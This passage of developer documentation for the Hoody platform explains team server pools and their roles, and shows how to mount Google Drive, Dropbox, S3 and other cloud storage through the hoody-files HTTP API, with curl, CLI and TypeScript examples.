- View pool servers and members
- Execute allowed server commands
- Cannot modify pool structure


**Best Practice:** Give developers "User" role for deploying containers. Reserve "Admin" for DevOps team members who manage infrastructure.


## Creating a Pool



1. **Create the Pool**

   
     
       ```bash
       # Create a team pool
       hoody pools create \
         --name "Frontend Team Pool" \
         --description "Shared servers for frontend development"

       # Invite a team member
       hoody pools members invite $POOL_ID \
         --username "$USERNAME" \
         --role "user"

       # List your pools
       hoody pools list
       ```
     
     
       ```typescript
       import { HoodyClient } from '@hoody-ai/hoody-sdk';

       const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

       // Create a team pool
       const pool = await client.api.pools.create({
         name: 'Frontend Team Pool',
         description: 'Shared servers for frontend development',
       });

       // Invite a member (by username)
       await client.api.poolMembers.invite(pool.data.id, {
         username: 'teammate_handle',
         role: 'user',
       });

       // List pools
       const pools = await client.api.pools.list();
       ```
     
     
       ```bash
       # Create a team pool
       curl -X POST "https://api.hoody.icu/api/v1/pools" \
         -H "Authorization: Bearer $HOODY_TOKEN" \
         -H "Content-Type: application/json" \
         -d '{
           "name": "Frontend Team Pool",
           "description": "Shared servers for frontend development"
         }'

       # Invite a member
       curl -X POST "https://api.hoody.icu/api/v1/pools/$POOL_ID/members" \
         -H "Authorization: Bearer $HOODY_TOKEN" \
         -H "Content-Type: application/json" \
         -d '{"username": "teammate_handle", "role": "user"}'
       ```
     
   

2. **Invite Team Members**
   
   Add members with appropriate roles. Invited users find pending invitations via `GET /api/v1/pools/invitations/pending` (or the dashboard) and accept with `POST /api/v1/pools/{id}/accept` (or decline with `POST /api/v1/pools/{id}/reject`).

3. **Assign Servers**
   
   When [renting servers](/foundation/servers/rent/), specify the pool:
   ```json
   {
     "pool_id": "507f1f77bcf86cd799439011",
     "rental_days": 30
   }
   ```
   
   Or reassign existing servers to the pool via API.

4. **Team Starts Deploying**
   
   All pool members can now deploy containers to pool servers based on their role permissions.



## Pool Organization Strategies

### By Team/Department

**Development Pool, QA Pool, DevOps Pool**
- Each team manages their own servers
- Clear resource ownership
- Budget tracking per team

### By Client/Project

**Client A Pool, Client B Pool, Client C Pool**
- Perfect for agencies and consultancies
- Complete client data isolation
- Transparent per-client billing

### By Environment

**Production Pool, Staging Pool, Development Pool**
- Separate environments by security level
- Different access rules per pool
- Clear separation of concerns


**Note on Environment Separation:** Since containers are fully isolated, it's perfectly safe to run development and production containers on the same server. All execution happens within containers, not on the host. However, separating environments across different servers/pools adds an additional layer of obfuscation and organizational clarity, which is generally beneficial for larger teams and regulated industries.


### Hybrid Approach

**Most teams use combinations:**
```
Production Pool (3 servers)
  → Owner: CTO
  → Admins: Senior DevOps (2)
  → Users: Backend team (8)

Client Projects Pool (5 servers)
  → Owner: Account Manager
  → Admins: Project Leads (3)
  → Users: Developers (12)

AI Experiments Pool (2 servers)
  → Owner: AI Lead
  → Admins: ML Engineers (4)
  → Users: Whole company (open access)
```

## Member Management

### Adding Members


  
    ```bash
    # Invite a user to a pool
    hoody pools members invite $POOL_ID \
      --username "$USERNAME" \
      --role "user"

    # Update a member's role (positional pool ID and user ID)
    hoody pools members update-role $POOL_ID $USER_ID \
      --role "admin"

    # Remove a member
    hoody pools members delete $POOL_ID $USER_ID
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Invite a user to a pool (by username)
    await client.api.poolMembers.invite(poolId, {
      username: 'teammate_handle',
      role: 'user',
    });

    // Update member role
    await client.api.poolMembers.updateRole(poolId, userId, {
      role: 'admin',
    });

    // Remove a member
    await client.api.poolMembers.remove(poolId, userId);
    ```
  
  
    ```bash
    # Invite a user to a pool
    curl -X POST "https://api.hoody.icu/api/v1/pools/$POOL_ID/members" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"username": "teammate_handle", "role": "user"}'

    # Update member role (role must be "admin" or "user")
    curl -X PUT "https://api.hoody.icu/api/v1/pools/$POOL_ID/members/$USER_ID" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"role": "admin"}'

    # Remove a member
    curl -X DELETE "https://api.hoody.icu/api/v1/pools/$POOL_ID/members/$USER_ID" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


**Member accepts invitation** (`POST /api/v1/pools/{id}/accept`) → Immediately gains pool access

### Roles and Permissions

**What each role can do:**

| Action | Owner | Admin | User |
|--------|-------|-------|------|
| View pool servers | ✅ | ✅ | ✅ |
| Deploy containers | ✅ | ✅ | ✅ |
| Add members | ✅ | ✅ | ❌ |
| Remove members | ✅ | ✅ | ❌ |
| Change member role | ✅ | ❌ | ❌ |
| Assign servers | ✅ | ✅ | ❌ |
| Change pool settings | ✅ | ❌ | ❌ |
| Delete pool | ✅ | ❌ | ❌ |

### Removing Members

Members can be removed anytime:
- Their containers on pool servers remain
- They lose access to deploy new containers
- Existing containers can be reassigned or deleted

## Server Assignment

### During Rental

**Every server is assigned to a pool.** You can specify which pool, or it defaults to your personal pool.

**Specify a pool:**
```json
{
  "pool_id": "507f1f77bcf86cd799439011",
  "rental_days": 30
}
```

**Omit pool (uses default):**
```json
{
  "rental_days": 30
}
// Automatically assigned to your default pool
```

Server immediately accessible to all pool members based on their roles.

### After Rental

Reassign servers between pools:
- Move server from default pool to team pool
- Transfer server between different pools
- All containers on server move with it

**Use Cases:**
- Developer rents to default pool, later shares with team by reassigning
- Testing server promoted to production pool
- Client project complete, server reassigned back to default pool

## Pool Settings

Each pool carries a free-form `settings` JSON object that you can set at creation and update later. It defaults to an empty object and accepts arbitrary keys. Commonly used keys include:

**max_servers** - Cap on how many servers the pool holds
```json
{
  "settings": {
    "auto_approve": true,
    "max_servers": 20
  }
}
```

**auto_approve** - Whether assigned servers are accepted into the pool without an explicit approval step

Because `settings` is stored as opaque JSON, you can include additional organizational metadata your team relies on.

## Use Cases

**Small Development Team**
- Create "Dev Team Pool"
- Rent server(s) and assign to pool
- All developers deploy to shared infrastructure
- Team collaboration on shared resources
- Cost-effective team development

**Digital Agency (Multiple Clients)**
- Create pool per client for perfect isolation
- Rent servers and assign to respective client pools
- Complete data separation between clients
- Transparent per-client billing
- Reassign servers as clients come/go

**Enterprise Multi-Team**
- Create pools by department or function
- Rent multiple servers per pool as needed
- Role-based access across pools
- Developers can be members of multiple pools
- Clear budget and resource tracking

**Open Source Project**
- Create "Community Pool"
- Rent server(s), add all contributors as Users
- Everyone can deploy demos and test branches
- Owner maintains production deployments
- Shared infrastructure costs across contributors

**Freelancer → Agency Transition**
- Start with default pool (personal servers)
- First client: Create "Client Pool", assign server
- Additional clients: Create additional pools
- Hire developers: Add them to client pools as needed
- Scale smoothly from solo to team

## Multi-Pool Access

**Users can be members of multiple pools:**

```
Developer Jane:
  → "Frontend Pool" (User) - Can deploy frontend containers
  → "Staging Pool" (Admin) - Manages staging infrastructure  
  → "AI Experiments" (User) - Access to AI playground
```

**Benefits:**
- Cross-team collaboration without friction
- Flexible access as responsibilities evolve
- Clear audit trail of who can access what

## Best Practices

**Pool Design:**
- Create pools for logical boundaries (team, client, environment)
- Don't create pool per server (defeats the purpose)
- Name pools clearly - teams grow and members forget context

**Role Assignment:**
- Start everyone as "User", promote to "Admin" as needed
- Owners should be team leads or managers
- Audit roles quarterly - people change responsibilities

**Server Organization:**
- Group related work on same servers
- Production servers in strict-access pools
- Development servers in open-access pools
- Scale servers together logically (e.g., 3 prod servers in prod pool)

**Security:**
- Separate production and development pools
- Limit who can execute risky server commands
- Review pool membership regularly
- Remove members promptly when they leave team/project

**Cost Management:**
- Use pools to track infrastructure costs per team/client
- Pool-level usage monitoring
- Transparent billing: each pool shows total server costs
- Delete pools with no active servers to clean up

## Useful Questions

**Can members see each other's containers?**

Pool members see that containers exist on pool servers, but privacy depends on container permissions. By default, containers are isolated. Use [container permissions](/foundation/proxy/permissions/) to control access.

**What happens when I delete a pool?**

The pool itself is removed, but servers and containers are preserved. Servers return to your default pool. Only the organizational grouping is deleted, not the infrastructure.

**Can a server be in multiple pools?**

No, each server belongs to exactly one pool at a time. However, you can reassign servers between pools as needed.

**Do pool members share container limits?**

No, container limits are per-user, not per-pool. Each member can deploy their quota of containers to pool servers regardless of what others deploy.

**Can I change a member's role after adding them?**

Yes. Changing a member's role (`PUT /api/v1/pools/{id}/members/{userId}`) is restricted to the **pool owner** — admins can invite and remove members, but only the owner can promote or demote roles. Changes take effect immediately.

**What if a pool member leaves the organization?**

Remove them from the pool via API or dashboard. Their containers remain on pool servers but they lose all access. You can then delete their containers or reassign to other members.

**Can I limit which servers in a pool a member can access?**

Not directly per server, but you can create separate pools with different server groups and add members to specific pools based on their needs.

## Troubleshooting

**Can't Add Member to Pool**

**Cause:** Unknown username, or member already in pool

**Solution:** Verify the username exists exactly as registered. Check the existing member list - inviting a user who is already a member returns a conflict, so you can't add the same user twice.

**Member Can't Deploy Containers to Pool Servers**

**Cause:** Role doesn't grant deployment permission, or server resource limits

**Solution:** Verify member has "User" role or higher. Check server resource availability. Ensure member's container quota not exhausted.

**Server Assignment Fails**

**Cause:** Server already assigned to different pool, or permission issue

**Solution:** Unassign from current pool first, then reassign. Verify you have Owner/Admin role in both pools if moving between them.

**Pool Deletion Blocked**

**Cause:** Only owners can delete pools

**Solution:** Verify you're the pool owner. If you need to remove yourself from someone else's pool, use "leave pool" endpoint instead of delete.

**Member Can't Accept Pool Invitation**

**Cause:** Member is looking in the wrong place, or the invitation was already removed

**Solution:** Invitations are not delivered by email — the invited user finds them via `GET /api/v1/pools/invitations/pending` (or the dashboard) and accepts with `POST /api/v1/pools/{id}/accept`. Verify you invited the correct username, and that you haven't since removed the member (which clears the pending invitation). Pending invitations currently do not auto-expire — they remain accept-able until you remove the member from the pool.

## What's Next

**Ready to organize your infrastructure?**
- [Rent Servers →](/foundation/servers/rent/) - Get servers to add to pools
- [Server Management API →](/api/server-management/) - Complete pools API reference

**Set up team workflows:**
- [Projects & Containers →](/foundation/projects-containers/) - Understand container deployment
- [Proxy Permissions →](/foundation/proxy/permissions/) - Control container access

**Collaboration features:**
- [Container Copy/Sync →](/foundation/containers/copy-sync/) - Share containers between servers
- [Storage Shares →](/foundation/storage/sharing-files/) - Shared files across pool containers

---

# Servers

**Page:** foundation/servers

[Download Raw Markdown](./foundation/servers.md)

---

# Servers

This page has moved:

- **[Manage Your Servers](/foundation/servers/)** - Server infrastructure, rental, and management

---

# Sharing Files

**Page:** foundation/sharing-files

[Download Raw Markdown](./foundation/sharing-files.md)

---

# Sharing Files

This page has moved to the Storage & Sharing section:

- **[Shared Storage](/foundation/storage/sharing-files/)** - File sharing, collaboration, and shared storage between containers

---

# Cloud Storage

**Page:** foundation/storage/cloud

[Download Raw Markdown](./foundation/storage/cloud.md)

---

# Cloud Storage

**Connect your container to Google Drive, Dropbox, S3, and 63 cloud providers through a single HTTP API.** This capability is powered by **hoody-kit's hoody-files service**—not a Foundation-level feature, but so essential we document it here.


**About this page:** Cloud storage is powered by [hoody-files](/kit/files/), part of the Hoody Kit, not the core Hoody API. This page covers **cloud mounting only**—a subset of hoody-files' capabilities.

For complete hoody-files documentation (cloud, protocols, encryption, advanced backends), see the [Hoody Files API Reference](/api/files/).


**The magic:** hoody-files makes ANY storage backend **both HTTP-accessible AND POSIX-mountable**. Access Google Drive via HTTP API or mount it like a local directory—your choice.

---

## API Endpoints Summary

**Complete hoody-files documentation:**

**Overview:**
- **[Hoody Files Overview →](/api/files/)** - Service capabilities and architecture

**Mounting Cloud Storage:**
- **[Cloud Storage →](/api/files/mount/cloud/)** - Google Drive, Dropbox, OneDrive, Box, pCloud, etc.
- **[Object Storage →](/api/files/mount/object/)** - S3, Azure Blob, Google Cloud Storage, Backblaze B2, Wasabi
- **[File Protocols →](/api/files/mount/protocols/)** - SFTP, FTP, WebDAV, SMB/CIFS

**File Operations:**
- **[Reading Files →](/api/files/reading/)** - Stream content via HTTP
- **[Downloading Files →](/api/files/downloading/)** - Download with verification
- **[File Metadata →](/api/files/metadata/)** - Get size, type, modified time
- **[File Hashing →](/api/files/hashing/)** - SHA256 integrity verification
- **[Directory Listing →](/api/files/directories/)** - Browse with sorting/filtering

**Backend Management:**
- **[Managing Backends →](/api/files/managing-backends/)** - Connect, test, disconnect
- **[Quick Start →](/api/files/quick-start/)** - Complete workflow example

---

## What is hoody-files Cloud Mounting?

**hoody-files transforms cloud storage APIs into HTTP endpoints AND mountable filesystems.**

**The transformation:**

```
Google Drive API (OAuth, MIME types, pagination complexity)
           ↓
    hoody-files abstraction
           ↓
   ┌─────────────────┐
   │   HTTP API      │ ← curl, fetch, any HTTP client
   │   POSIX Mount   │ ← ls, cp, cat, any filesystem tool
   └─────────────────┘
```

**ANY backend becomes:**
- ✅ **HTTP-accessible** via REST API (language-agnostic)
- ✅ **POSIX-mountable** via FUSE (use ls, cp, cat, standard tools)
- ✅ **Unified interface** (same API for all 63 providers)

**The core idea:**

```bash
# Instead of learning 63 different APIs:
# - Google Drive API (OAuth, pagination, MIME types)
# - Dropbox API (cursors, batching, webhooks)
# - S3 API (buckets, keys, multipart uploads)
# ... 60 more APIs

# Use ONE unified HTTP API:
GET /api/v1/files/{path}?backend={backend_id}

# Works identically for Google Drive, S3, Dropbox, OneDrive, etc.
```

**One API to access 63 providers:**

See the [complete expandable list below](#63-supported-storage-backends) for all supported providers.

---

## How It Works

### 1. Connect Backend (One-Time Setup)

> **Prerequisite — OAuth credentials.** OAuth-backed providers (Google Drive, Dropbox, OneDrive, Box, …) need a `client_id` / `client_secret` from the provider console and an initial `token` from an OAuth consent flow. Either run `hoody files backends connect drive` (interactive — opens a browser, completes the flow, and captures the token for you), or paste pre-minted values as shown below. Key/secret backends (S3, B2, etc.) need the provider's access-key pair instead.

**Mount a storage provider:**


  
    ```bash
    curl -X POST "http://localhost:5000/api/v1/backends/drive" \
      -H "Content-Type: application/json" \
      -d '{
        "client_id": "your-app.apps.googleusercontent.com",
        "client_secret": "your-secret",
        "token": "{\"access_token\":\"ya29...\"}"
      }'
    
    # Response: {"id": "backend_drive_abc123"}
    ```
  
  
  
    ```bash
    curl -X POST "http://localhost:5000/api/v1/backends/dropbox" \
      -H "Content-Type: application/json" \
      -d '{
        "client_id": "your-client-id",
        "client_secret": "your-secret",
        "token": "{\"access_token\":\"sl.B...\"}"
      }'
    
    # Response: {"id": "backend_dropbox_xyz789"}
    ```
  
  
  
    ```bash
    curl -X POST "http://localhost:5000/api/v1/backends/s3" \
      -H "Content-Type: application/json" \
      -d '{
        "provider": "AWS",
        "access_key_id": "AKIAIOSFODNN7EXAMPLE",
        "secret_access_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
        "region": "us-east-1"
      }'
    
    # Response: {"id": "backend_s3_def456"}
    ```
  


**Backend connection is persistent.** Configure once, use forever.

### 2. Access Files via Unified API

**Now all backends use the same HTTP API:**


  
    ```bash
    # Read file from any connected backend
    hoody files get Documents/report.pdf --backend backend_drive_abc123

    # List directory on a backend (get lists directory paths too)
    hoody files get Documents/ --backend backend_s3_def456
    ```
  
  
    ```typescript
    const containerClient = await client.withContainer({
      id: CONTAINER_ID,
      project_id: PROJECT_ID,
      server: SERVER
    });

    // Read from Google Drive — same API for all 63 providers
    const driveFile = await containerClient.files.get(
      'Documents/report.pdf',
      { backend: 'backend_drive_abc123' }
    );

    // Read from S3 — just change the backend parameter
    const s3File = await containerClient.files.get(
      'Documents/report.pdf',
      { backend: 'backend_s3_def456' }
    );
    ```
  
  
    ```bash
    # Read from Google Drive
    curl "https://$PROJECT-$CONTAINER-files-1.$SERVER.containers.hoody.icu/api/v1/files/Documents/report.pdf?backend=backend_drive_abc123"

    # Read from Dropbox — same endpoint, different backend
    curl "https://$PROJECT-$CONTAINER-files-1.$SERVER.containers.hoody.icu/api/v1/files/Documents/report.pdf?backend=backend_dropbox_xyz789"

    # Read from S3 — same API, different backends
    curl "https://$PROJECT-$CONTAINER-files-1.$SERVER.containers.hoody.icu/api/v1/files/Documents/report.pdf?backend=backend_s3_def456"
    ```
  


**The abstraction is complete:** Whether it's Google Drive, S3, or SFTP—the HTTP API is identical.

---

## 63 Supported Storage Backends

<details>
<summary><strong>📋 Click to see all 63 supported providers</strong></summary>

**Major Cloud Storage (9)**
- Google Drive - OAuth, service accounts, team drives
- Dropbox - OAuth, batch operations, business accounts
- Microsoft OneDrive - Personal, Business, SharePoint
- Box - OAuth, JWT service accounts
- pCloud - EU/US data centers
- MEGA - Username/password, encryption
- Yandex Disk - OAuth, hard delete
- Mail.ru Cloud - App passwords, speedup feature
- Jottacloud - OAuth, version control

**Object Storage (12)**
- Amazon S3 / S3-compatible - AWS native plus MinIO, DigitalOcean Spaces, Cloudflare R2, Wasabi, Alibaba Cloud OSS (single `s3` backend, `provider` selects the flavor)
- Azure Blob Storage - Hot/cool/archive tiers
- Azure Files - SMB in cloud
- Google Cloud Storage - Standard/nearline/coldline/archive
- Backblaze B2 - Cost-effective, CDN integration
- Oracle Object Storage - OCI integration
- OpenStack Swift - OpenStack deployments
- QingStor - Asian provider
- Storj - Decentralized storage
- Tardigrade - Decentralized storage (Storj legacy endpoint)
- Internet Archive - archive.org S3-compatible
- Sia - Decentralized blockchain storage

**File Protocols (5)**
- SFTP/SSH - Secure file transfer
- FTP/FTPS - Classic (with TLS option)
- WebDAV - Nextcloud/ownCloud compatible
- SMB/CIFS - Windows shares, NAS
- HTTP/HTTPS - Read-only web servers

**File Sharing Services (9)**
- 1Fichier - French file sharing
- Gofile - Anonymous & authenticated
- Pixeldrain - Direct file sharing
- Put.io - Download completion
- Linkbox - linkbox.to integration
- Uptobox - Premium downloads
- premiumize.me - Premium links
- SugarSync - Cloud sync
- PikPak - Cloud download manager

**Enterprise Services (7)**
- Citrix ShareFile - Enterprise sharing
- Files.com - Managed file transfer
- Enterprise File Fabric - Multi-cloud
- Koofr - European (Digi Storage)
- HiDrive - German cloud
- Seafile - Open-source enterprise
- Quatrix - Enterprise collaboration

**Specialty Services (7)**
- Google Photos - Photo/video management
- Cloudinary - Image/video CDN
- ImageKit.io - Image optimization
- Git - Read-only repositories (fetched via the `fetch-from-git` file operation, not a `backends/` mount)
- Proton Drive - Zero-knowledge encryption
- iCloud Drive - Apple ecosystem
- Zoho WorkDrive - Workspace integration

**Utility/Virtual Backends (10)**
- Local - Container filesystem
- Crypt - Zero-knowledge encryption
- Compress - GZIP compression
- Cache - Local caching layer
- Chunker - Split large files
- Hasher - Better checksums
- Alias - Create shortcuts
- Union - Merge with policies
- Combine - Unified namespace
- Memory - In-memory temporary

**Legacy/Specialized (4)**
- Hadoop HDFS - Big data
- OpenDrive - Cloud storage
- Akamai NetStorage - CDN storage
- Ulož.to - Czech file sharing

**Total: 63 backend types**

For detailed configuration parameters, see:
- [Cloud Storage API](/api/files/mount/cloud/) - Google, Dropbox, OneDrive, Box
- [Object Storage API](/api/files/mount/object/) - S3, Azure, GCS, B2
- [File Protocols API](/api/files/mount/protocols/) - SFTP, FTP, WebDAV, SMB

</details>

---

## Why Use hoody-files for Cloud Storage?

### Problem: Each Provider Has Different APIs

**Traditional approach** requires learning and implementing each provider's unique API:

```javascript
// Google Drive: OAuth, MIME types, fileId abstraction
const drive = google.drive({version: 'v3', auth});
const file = await drive.files.get({fileId: 'abc123', alt: 'media'});

// Dropbox: Different auth, different structure
const dbx = new Dropbox({accessToken: TOKEN});
const file = await dbx.filesDownload({path: '/folder/file.pdf'});

// S3: Completely different paradigm (buckets, keys, regions)
const s3 = new AWS.S3();
const file = await s3.getObject({Bucket: 'my-bucket', Key: 'folder/file.pdf'}).promise();

// You need 63 different implementations
```

### Hoody Solution: One Unified API

**hoody-files abstracts everything to simple HTTP:**

```bash
# Same API for all 63 providers - just change backend parameter
curl "http://localhost:5000/api/v1/files/folder/file.pdf?backend={backend_id}"

# Works for Google Drive, Dropbox, S3, OneDrive, Box, SFTP, WebDAV, etc.
```

**Benefits:**
- ✅ **One API to learn** (not 63)
- ✅ **Backend-agnostic code** (switch providers without code changes)
- ✅ **Automatic protocol translation** (HTTP → provider's native protocol)
- ✅ **Unified error handling** (consistent across all backends)

---

## Core Capabilities

**What you can do with any connected backend:**



Stream file contents via HTTP:

```bash
GET /api/v1/files/{path}?backend={id}
```

Works for text, binary, any file type.



Download with SHA256 verification:

```bash
GET /api/v1/files/{path}?backend={id}&hash
```

Integrity checked automatically.



Browse directories with JSON/HTML output:

```bash
GET /api/v1/files/{path}/?backend={id}&json
```

Sortable, filterable directory listings.



Get size, type, modified time:

```bash
HEAD /api/v1/files/{path}?backend={id}
```

Lightweight metadata queries.



**See:** [Hoody Files API](/api/files/) for complete operations.

---

## Quick Start Example

**Connect Google Drive and access files:**


  
    ```bash
    # Connect Google Drive
    curl -X POST "http://localhost:5000/api/v1/backends/drive" \
      -H "Content-Type: application/json" \
      -d '{
        "client_id": "your-app.apps.googleusercontent.com",
        "client_secret": "your-client-secret",
        "token": "{\"access_token\":\"ya29.a0...\"}"
      }'
    
    # Response includes backend ID
    {
      "success": true,
      "data": {
        "id": "backend_drive_abc123",
        "type": "drive"
      }
    }
    ```
  
  
  
    ```bash
    # List root directory
    curl "http://localhost:5000/api/v1/files/?backend=backend_drive_abc123&json"
    
    # Response: JSON object with an entries array
    {
      "path": "/",
      "entries": [
        {"name": "Documents", "is_dir": true, "size": 0},
        {"name": "Photos", "is_dir": true, "size": 0},
        {"name": "report.pdf", "is_dir": false, "size": 1048576}
      ],
      "count": 3
    }
    ```
  
  
  
    ```bash
    # Read file content
    curl "http://localhost:5000/api/v1/files/Documents/report.pdf?backend=backend_drive_abc123" \
      > report.pdf
    
    # File downloaded from Google Drive via HTTP
    ```
  


**Total setup time:** 1 minute. Now you have HTTP access to all your Google Drive files.

---

## Use Cases

### Multi-Provider Data Aggregation

**Access files from multiple cloud providers in one application:**

```bash
# Mount all your storage
POST /backends/drive → backend_drive_abc
POST /backends/dropbox → backend_dropbox_xyz
POST /backends/s3 → backend_s3_def

# Now access any file from any backend
GET /files/project-data.json?backend=backend_drive_abc
GET /files/project-data.json?backend=backend_dropbox_xyz
GET /files/project-data.json?backend=backend_s3_def

# Same API, different storage providers
```

**Perfect for:** Backup verification, data migration, multi-cloud strategies.

### Backup to Cloud

**Automate backups from container to cloud storage:**

```bash
# Upload container backup to Google Drive
tar czf backup.tar.gz /hoody/storage/myapp/

curl -X PUT "http://localhost:5000/api/v1/files/Backups/backup.tar.gz?backend=backend_drive_abc" \
  --data-binary "@backup.tar.gz"

# Hoody Files handles OAuth, chunking, retries
```

### Process Cloud-Stored Data

**Read data from cloud, process in container, write results back:**

```bash
# Download dataset from S3
curl "http://localhost:5000/api/v1/files/datasets/data.csv?backend=backend_s3_abc" > data.csv

# Process locally
python process.py data.csv > results.json

# Upload results to Dropbox
curl -X PUT "http://localhost:5000/api/v1/files/Results/results.json?backend=backend_dropbox_xyz" \
  --data-binary "@results.json"

# Zero cloud SDK integration - pure HTTP
```

### Serve Files from Cloud

**Make cloud storage files accessible via HTTP:**

```bash
# Mount S3 bucket
POST /backends/s3 {"bucket": "my-public-files"}

# Now serve files via Hoody Proxy
GET https://{project}-{container}-files.../api/v1/files/images/logo.png?backend=backend_s3_abc

# Cloud storage becomes HTTP file server
```

---

## Backend Categories

### Cloud Storage (OAuth-based)

**Consumer-focused cloud services with OAuth authentication:**

- Google Drive (team drives, service accounts)
- Dropbox (batch operations, business accounts)  
- OneDrive (personal, business, SharePoint)
- Box (JWT service accounts)
- pCloud (EU/US data centers)

**See:** [Cloud Storage API](/api/files/mount/cloud/) for mounting instructions.

### Object Storage (S3-compatible)

**Developer-focused object storage with S3 API:**

- AWS S3 (original)
- Wasabi (cheaper than S3)
- Backblaze B2 (affordable, fast)
- DigitalOcean Spaces
- Cloudflare R2 (zero egress fees)
- Azure Blob Storage
- Google Cloud Storage
- Alibaba Cloud OSS

**See:** [Object Storage API](/api/files/mount/object/) for S3 configuration.

### File Protocols

**Connect to any server supporting standard protocols:**

- SFTP (secure file transfer over SSH)
- FTP/FTPS (legacy file transfer)
- WebDAV (Nextcloud, ownCloud, HTTP-based)
- SMB/CIFS (Windows network shares, NAS devices)
- HTTP/HTTPS (web servers, static file hosting)

**See:** [File Protocols API](/api/files/mount/protocols/) for protocol mounting.

---

## Key Features

### Unified API Across All Backends

**Same endpoints work for every provider:**


  
    ```bash
    # List directory — works for ALL backends
    hoody files get folder/ --backend $BACKEND_ID

    # Read file — works for ALL backends
    hoody files get folder/file.txt --backend $BACKEND_ID
    ```
  
  
    ```typescript
    // List directory — works for ALL backends
    // (files.get returns the JSON listing for a directory path)
    const listing = await containerClient.files.get(
      'folder/',
      { backend: BACKEND_ID }
    );

    // Read file — works for ALL backends
    const file = await containerClient.files.get(
      'folder/file.txt',
      { backend: BACKEND_ID }
    );
    ```
  
  
    ```bash
    # List directory — works for ALL backends
    curl "https://$PROJECT-$CONTAINER-files-1.$SERVER.containers.hoody.icu/api/v1/files/folder/?backend=$BACKEND_ID&json"

    # Read file — works for ALL backends
    curl "https://$PROJECT-$CONTAINER-files-1.$SERVER.containers.hoody.icu/api/v1/files/folder/file.txt?backend=$BACKEND_ID"

    # Get metadata — works for ALL backends
    curl -I "https://$PROJECT-$CONTAINER-files-1.$SERVER.containers.hoody.icu/api/v1/files/folder/file.txt?backend=$BACKEND_ID"
    ```
  


**Switch backends = change one parameter:**

```javascript
// Change from S3 to Dropbox
const backend = 'backend_s3_abc';  // S3
const backend = 'backend_dropbox_xyz';  // Dropbox

// Rest of code unchanged
const file = await fetch(`/api/v1/files/data.json?backend=${backend}`);
```

### Multiple Backend Mounting

**Connect unlimited backends simultaneously:**

```bash
# Personal Google Drive
backend_drive_personal

# Work Google Drive
backend_drive_work

# AWS S3 production
backend_s3_prod

# AWS S3 backups
backend_s3_backup

# Dropbox archive
backend_dropbox_archive

# All accessible from one container via hoody-files
```

### Backend-Agnostic Applications

**Build apps that work with any storage:**

```javascript
// User chooses storage provider
const backend = userPreference; // 'backend_drive_abc' or 'backend_s3_xyz'

// App code doesn't care which provider
async function saveFile(path, content, backend) {
  return fetch(`/api/v1/files/${path}?backend=${backend}`, {
    method: 'PUT',
    body: content
  });
}

// Works with Google Drive, S3, Dropbox, OneDrive, etc.
```

---

## Common Workflows

### Cloud-to-Cloud Transfer

**Transfer files between providers without downloading locally:**

```bash
# Read from Google Drive
curl "http://localhost:5000/api/v1/files/backup.zip?backend=backend_drive_abc" \
  > backup.zip

# Upload to S3
curl -X PUT "http://localhost:5000/api/v1/files/backup.zip?backend=backend_s3_xyz" \
  --data-binary "@backup.zip"

# Transfer happens in container (fast server bandwidth)
```

### Multi-Cloud Backup Strategy

**Store backups across multiple providers for redundancy:**

```bash
# Create backup
tar czf critical-data.tar.gz /hoody/storage/production/

# Upload to 3 different cloud providers
for backend in backend_s3_primary backend_gcs_backup backend_backblaze_archive; do
  curl -X PUT "http://localhost:5000/api/v1/files/Backups/critical-data.tar.gz?backend=$backend" \
    --data-binary "@critical-data.tar.gz"
done

# Same data in 3 locations (AWS, Google, Backblaze)
```

### Process Cloud Data in Container

**Read from cloud, process, upload results:**

```bash
# 1. Download dataset from Dropbox
curl "http://localhost:5000/api/v1/files/datasets/raw-data.csv?backend=backend_dropbox_abc" \
  > raw-data.csv

# 2. Process in container
python analyze.py raw-data.csv > analysis-results.json

# 3. Upload results to Google Drive
curl -X PUT "http://localhost:5000/api/v1/files/Results/analysis-results.json?backend=backend_drive_xyz" \
  --data-binary "@analysis-results.json"

# Cloud → Container → Cloud (all via HTTP)
```

---

## Best Practices

### 1. Use Service Accounts for Automation

**Consumer OAuth requires user interaction.** For automated systems, use service accounts:

```bash
# Google Drive: Service Account (no user interaction)
{
  "service_account_file": "/keys/service-account.json",
  "team_drive": "0ABC123xyz"
}

# Box: JWT Authentication
{
  "box_config_file": "/keys/box-config.json",
  "box_sub_type": "enterprise"
}
```

**Credentials don't expire** with user sessions—perfect for scheduled tasks.

### 2. Configure Read-Only When Possible

**Minimize security risk:**

```bash
# Google Drive: Read-only scope
{
  "scope": "drive.readonly"
}

# Prevents accidental modifications
# Limits damage if credentials compromised
```

### 3. Mount Backend Once, Use Everywhere

**Backend connection persists across container restarts:**

```bash
# Connect backend once
POST /backends/drive → backend_drive_abc

# Use in all future requests
GET /files/data.json?backend=backend_drive_abc

# Connection remains active until explicitly disconnected
```

### 4. Test Backends After Mounting

```bash
# Verify connection works
GET /api/v1/files/?backend=backend_drive_abc

# Should return directory listing
# If error: OAuth expired, credentials wrong, or network issue
```

See: [Managing Backends](/api/files/managing-backends/) for testing and troubleshooting.

### 5. Use Encryption Layer for Sensitive Data

**Add zero-knowledge encryption to any backend:**

```bash
# Mount encrypted wrapper
POST /backends/crypt
{
  "remote": "backend_drive_abc:/Encrypted",
  "password": "your-encryption-password"
}

# Now files are encrypted before upload
```

See: [Encryption Layer](/api/files/mount/encryption/) for zero-knowledge encryption.

---

## Useful Questions

### Does hoody-files download entire files to container before serving?

No. hoody-files **streams** content:
- For small files: Buffered and served
- For large files: Streamed chunk-by-chunk
- Container never stores entire cloud file locally

### Can I use hoody-files without mounting cloud storage?

Yes! hoody-files also provides:
- **Local filesystem access** (container's own files)
- **SFTP/WebDAV server** for [local mounting](/foundation/storage/mount-locally/)
- Access to container's internal filesystem via HTTP

Cloud mounting is optional—hoody-files works for local and cloud storage.

### What happens if OAuth token expires?

Requests fail with 401 Unauthorized. **Fix:**

```bash
# Disconnect expired backend
DELETE /api/v1/backends/backend_drive_abc

# Reconnect with fresh OAuth token
POST /api/v1/backends/drive
